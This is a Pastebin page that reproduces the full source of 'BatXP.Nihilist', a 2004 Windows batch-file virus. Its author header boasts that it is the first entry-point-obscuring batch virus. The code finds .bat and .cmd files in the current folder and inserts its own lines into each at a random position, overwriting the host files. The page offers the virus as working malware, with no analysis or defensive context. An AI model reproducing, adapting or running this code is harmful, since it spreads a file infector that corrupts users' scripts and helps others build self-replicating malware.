Advertisement
FlyFar

Virus.WinXP.Bat.Nihilist - Source Code

Jul 3rd, 2023
966
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 2.66 KB | Cybersecurity | 0 0
  1. %  BatXP.Nihilist
  2. %  by Second Part To Hell[rRlf]
  3. %  www.spth.de.vu
  4. %  spth@priest.com
  5. %  written in March 2004
  6. %  in Austria
  7. %
  8. %  BatXP.Nihilist is the very first Entry Point Obscuring (EPO) Batch virus
  9. %  ever done. EPO was the last very important and not yet done technique until
  10. %  March 2004. And as you may imagine, it's done now. :).
  11. %
  12. %  I got the idea in writing it long time before, because I thought that every
  13. %  language should have at least one encrypted, one polymorph and one EPO virus.
  14. %  But unfortunatly I forgot the idea, and just picked it up again in 2004, when
  15. %  I read DvL's editional of Batch Zone#4. Much thanks! : class="re0">)
  16. %
  17. %  The code uses some interesting commands, and it's doubtful that you will understand
  18. %  the whole thing without testing the commands or read Microsoft's help (command /?) :D.
  19. %
  20. %  That's more or less everything I want to say. I don't want to explain everything because
  21. %  everybody who is interested in that will understand it. If not, just send me a mail!
  22. %
  23. %  The History of the name is little strange: I asked my girlfriend if she knows any cool
  24. %  word. She sent me a SMS: 'Nihilist'. Well, First I wanted to use it for my PE vir, then
  25. %  for my MenuetOS vir, but both aren't finished so far and I want to use this name for a
  26. %  virus :). Much thanks for the cool name, ILD!
  27. %
  28. %
  29. %--------------------------------------------<([{  BatXP.Nihilist  }])>--------------------------------------------
  30. %Nihilist%@echo off
  31. %Nihilist%set num=0
  32. :ag %Nihilist%
  33. %Nihilist%set fn%num%=
  34. %Nihilist%set /a num+=1
  35. %Nihilist%if %num% LSS 5 goto ag
  36. %Nihilist%set num=0
  37. %Nihilist%for %%a in (*.bat *.cmd) do call :mr %%a
  38. %Nihilist%set num=-1
  39. :fi %Nihilist%
  40. %Nihilist%set /a num+=1
  41. %Nihilist%if %num% GTR 5 (goto ROF)
  42. %Nihilist%if %num% EQU 0 (set file=%fn0%)
  43. %Nihilist%if %num% EQU 1 (set file=%fn1%)
  44. %Nihilist%if %num% EQU 2 (set file=%fn2%)
  45. %Nihilist%if %num% EQU 3 (set file=%fn3%)
  46. %Nihilist%if %num% EQU 4 (set file=%fn4%)
  47. %Nihilist%if %num% EQU 5 (set file=%fn5%)
  48. %Nihilist%set rnd=%random%
  49. %Nihilist%set spth=%0
  50. :findnum    %Nihilist%
  51. %Nihilist%set /a rnd-=10
  52. %Nihilist%if %rnd% GEQ 10 (goto findnum)
  53. %Nihilist%set lz=0
  54. %Nihilist%del tmp
  55. %Nihilist%for /f "tokens=1*" %%a in (%file%) do if 1 EQU 1 (
  56. %Nihilist%  set lc=%%a %%b
  57. %Nihilist%  call :wl
  58. %Nihilist%)
  59. find "Nihilist" <%spth% >>tmp
  60. %Nihilist%more +%rnd% < %file% >>tmp
  61. %Nihilist%move /y tmp %file%
  62. %Nihilist%@echo on
  63. %Nihilist%goto fi
  64. :wl %Nihilist%
  65. %Nihilist%set /a lz=%lz%+1
  66. %Nihilist%if %lz% LEQ %rnd% (echo %lc% >>tmp)
  67. %Nihilist%goto :EOF
  68. :mr %Nihilist%
  69. %Nihilist%if %num% LEQ 5 (
  70. %Nihilist%set fn%num%=%1
  71. %Nihilist%set /a num+=1
  72. %Nihilist%)
  73. :ROF    %Nihilist%
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement